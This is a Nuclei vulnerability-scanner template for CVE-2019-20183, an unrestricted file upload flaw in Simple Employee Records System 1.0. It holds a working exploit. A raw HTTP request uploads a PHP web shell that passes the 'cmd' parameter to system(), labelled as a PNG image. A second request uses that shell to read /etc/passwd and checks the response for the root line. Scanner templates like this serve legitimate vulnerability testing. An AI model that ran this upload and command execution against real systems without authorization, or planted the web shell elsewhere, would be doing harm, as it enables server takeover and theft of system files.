nuclei-templates/cves/2019/CVE-2019-20183.yaml

59 lines
1.8 KiB
YAML

id: CVE-2019-20183
info:
name: Simple Employee Records System 1.0 - Unrestricted File Upload
author: pikpikcu
severity: high
description: |
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
reference:
- https://www.exploit-db.com/exploits/49596
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2019-20183
cwe-id: CWE-434
tags: edb,cve,cve2019,rce,intrusive,fileupload
requests:
- raw:
- |
POST /dashboard/uploadID.php HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
Content-Type: image/png
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
-----------------------------5825462663702204104870787337--
- |
GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: endpoint
part: body
internal: true
regex:
- '(?:[a-zA-Z0-9+\/])*_poc.php'
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
condition: and
# Enhanced by mp on 2022/06/17